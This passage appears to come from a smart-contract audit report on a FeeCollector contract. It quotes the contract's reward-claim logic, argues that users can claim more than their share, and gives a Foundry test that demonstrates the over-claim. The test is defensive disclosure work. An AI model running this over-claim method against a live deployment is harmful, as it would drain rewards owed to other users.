function claimRewards(address user) external override nonReentrant whenNotPaused returns (uint256) {
if (user == address(0)) revert InvalidAddress();
uint256 pendingReward = _calculatePendingRewards(user);
console.log("Pending Reward:", pendingReward);
if (pendingReward == 0) revert InsufficientBalance();
userRewards[user] = totalDistributed;
console.log("Total Distributed:", totalDistributed);
raacToken.safeTransfer(user, pendingReward);
emit RewardClaimed(user, pendingReward);
return pendingReward;
}
function _calculatePendingRewards(address user) internal view returns (uint256) {
uint256 userVotingPower = veRAACToken.getVotingPower(user);
if (userVotingPower == 0) return 0;
uint256 totalVotingPower = veRAACToken.getTotalVotingPower();
if (totalVotingPower == 0) return 0;
uint256 share = (totalDistributed * userVotingPower) / totalVotingPower;
return share > userRewards[user] ? share - userRewards[user] : 0;
}
The impact of this vulnerability is significant as it allows users to claim more rewards than they are entitled to, leading to an unfair distribution of rewards and potential financial losses for other users. This issue can erode user trust and result in an imbalance in the reward distribution system.
To fix this vulnerability, the reward distribution logic in the FeeCollector contract needs to be corrected. Specifically, the claimRewards function should be modified to ensure that the total rewards claimed by users do not exceed the set percentage of distributed rewards. Here are some recommendations:
Review and Modify claimRewards Function: Ensure that the function correctly accounts for the total amount of rewards distributed and includes checks to prevent excessive claims.
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/contracts/core/tokens/RAACToken.sol";
import "../src/contracts/core/tokens/veRAACToken.sol";
import "../src/contracts/core/collectors/FeeCollector.sol";
contract FeeCollectorTest is Test {
RAACToken raacToken;
veRAACToken veRaacToken;
FeeCollector feeCollector;
address owner;
address user1;
address user2;
address treasury;
address newTreasury;
address repairFund;
address emergencyAdmin;
uint256 constant BASIS_POINTS = 10000;
uint256 constant WEEK = 7 * 24 * 3600;
uint256 constant ONE_YEAR = 365 * 24 * 3600;
uint256 constant INITIAL_MINT = 10000;
uint256 constant SWAP_TAX_RATE = 100;
uint256 constant BURN_TAX_RATE = 50;
struct FeeType {
uint256 veRAACShare;
uint256 burnShare;
uint256 repairShare;
uint256 treasuryShare;
}
function setUp() public {
owner = address(this);
user1 = address(1);
user2 = address(2);
treasury = address(3);
newTreasury = address(4);
repairFund = address(5);
emergencyAdmin = address(6);
raacToken = new RAACToken(owner, SWAP_TAX_RATE, BURN_TAX_RATE);
veRaacToken = new veRAACToken(address(raacToken));
feeCollector = new FeeCollector(address(raacToken), address(veRaacToken), treasury, repairFund, owner);
raacToken.setFeeCollector(address(feeCollector));
raacToken.manageWhitelist(address(feeCollector), true);
raacToken.manageWhitelist(address(veRaacToken), true);
raacToken.setMinter(owner);
veRaacToken.setMinter(owner);
feeCollector.grantRole(feeCollector.FEE_MANAGER_ROLE(), owner);
feeCollector.grantRole(feeCollector.EMERGENCY_ROLE(), emergencyAdmin);
feeCollector.grantRole(feeCollector.DISTRIBUTOR_ROLE(), owner);
raacToken.mint(owner, INITIAL_MINT * 100);
raacToken.approve(address(feeCollector), INITIAL_MINT * 100);
raacToken.mint(user1, INITIAL_MINT);
raacToken.mint(user2, INITIAL_MINT);
raacToken.mint(address(feeCollector), INITIAL_MINT * 100);
vm.prank(user1);
raacToken.approve(address(feeCollector), type(uint256).max);
vm.prank(user2);
raacToken.approve(address(feeCollector), type(uint256).max);
for (uint8 i = 0; i < 8; i++) {
feeCollector.updateFeeType(i, IFeeCollector.FeeType(5000, 1000, 1000, 3000));
}
vm.prank(user1);
raacToken.approve(address(veRaacToken), 10000);
vm.prank(user1);
veRaacToken.lock(100, 365 days);
}
uint256 currentTime = block.timestamp;
function forwardTime(uint256 addTime) internal {
currentTime += addTime;
vm.warp(currentTime);
}
function testFeeDistribution() public {
uint256 firstFee = 400;
vm.prank(user1);
feeCollector.collectFee(firstFee, 0);
uint256 initialTreasuryBalance = raacToken.balanceOf(treasury);
uint256 initialRepairBalance = raacToken.balanceOf(repairFund);
vm.prank(owner);
feeCollector.distributeCollectedFees();
uint256 finalTreasuryBalance = raacToken.balanceOf(treasury);
uint256 finalRepairBalance = raacToken.balanceOf(repairFund);
assertGt(finalTreasuryBalance, initialTreasuryBalance);
assertGt(finalRepairBalance, initialRepairBalance);
uint256 initialBalance = raacToken.balanceOf(user1);
console.log("initialBalance", initialBalance);
console.log("user1 locked balance", veRaacToken.balanceOf(user1));
vm.prank(user1);
feeCollector.claimRewards(user1);
console.log("user1 rewards balance", raacToken.balanceOf(user1));
uint256 rewardsClaimedUser1 = raacToken.balanceOf(user1) - initialBalance;
console.log("user1 claimed", raacToken.balanceOf(user1) - initialBalance);
uint256 secondFee = 1000;
vm.prank(owner);
feeCollector.collectFee(secondFee, 0);
forwardTime(7 days);
vm.prank(owner);
feeCollector.distributeCollectedFees();
vm.prank(user2);
raacToken.approve(address(veRaacToken), 10000);
vm.prank(user2);
veRaacToken.lock(900, 365 days);
uint256 initialBalance2 = raacToken.balanceOf(user2);
console.log("User2 rewards balance", initialBalance2);
console.log("User2 locked balance", veRaacToken.balanceOf(user2));
vm.prank(user2);
feeCollector.claimRewards(user2);
console.log("User2 rewards balance", raacToken.balanceOf(user2));
uint256 rewardsClaimedUser2 = raacToken.balanceOf(user2) - initialBalance2;
console.log("User2 claimed", raacToken.balanceOf(user2) - initialBalance2 );
console.log("Combinded rewards", rewardsClaimedUser1 + rewardsClaimedUser2);
console.log("Total fees 50%", (firstFee + secondFee)/2);
}
}
